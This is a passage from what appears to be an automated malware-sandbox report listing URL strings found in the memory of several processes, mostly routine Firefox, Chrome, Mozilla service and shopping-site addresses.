Source: chrome.exe, 0000002E.00000002.3298947943.00003EDC00990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000002A.00000003.3083089983.00000204FECB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3265765041.000002048A603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000002A.00000003.3160010363.00000204929B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000002A.00000002.3285283392.000002048AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002A.00000002.3241492483.0000020487E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489AB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.0000020492561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489AB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000002A.00000002.3285283392.000002048AB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002A.00000003.3104081433.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3079366050.000002048BDBC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3162912536.000002048C68E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000002A.00000003.3111626594.000002048D033000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000002A.00000003.3162912536.000002048C675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.0000020492515000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: 067286f766.exe, 0000002B.00000003.3101825141.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2349810466.000000002372E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000002A.00000002.3252553781.0000020489F40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000002A.00000002.3262149073.000002048A14F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000002A.00000002.3242928608.0000020488380000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3185055851.0000027884020000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002A.00000002.3245540003.0000020489A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3097323108.000002049253C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000002A.00000002.3301081919.000002048AF4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 067286f766.exe	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000002A.00000002.3284522987.000002048AA00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004296658.000002048A83A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3003094102.000002048A81E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3006122223.000002048A873000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3004712211.000002048A857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3002071042.000002048A600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3108195312.00000204924A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3241492483.0000020487E7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000002.2455677277.0000000023601000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 067286f766.exe, 0000001A.00000003.2942421281.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3262149073.000002048A190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3186536382.00000278842CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000002A.00000003.3075699981.00000204928FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000002A.00000003.3080701204.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3075699981.00000204928EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3105315724.000002048BC94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3087950329.00000204928ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3111086766.00000204928EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2886214841.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885865990.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000001A.00000003.2885970862.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 067286f766.exe, 0000002B.00000003.3046319737.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3311818035.00003EDC00C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 0000002E.00000002.3268386636.00003EDC00690000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3299899636.00003EDC00A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3300637231.00003EDC00A60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3068399721.00003EDC00CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3268700293.00003EDC006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3054400068.00003EDC004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3069103638.00003EDC00F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3070336880.00003EDC00F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3070203801.00003EDC00D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3062166477.00003EDC00CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3069234833.00003EDC00CC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3268204419.00003EDC00664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000002A.00000003.3058145975.0000020492675000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3107154254.000002048C867000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.3054250544.0000020492638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
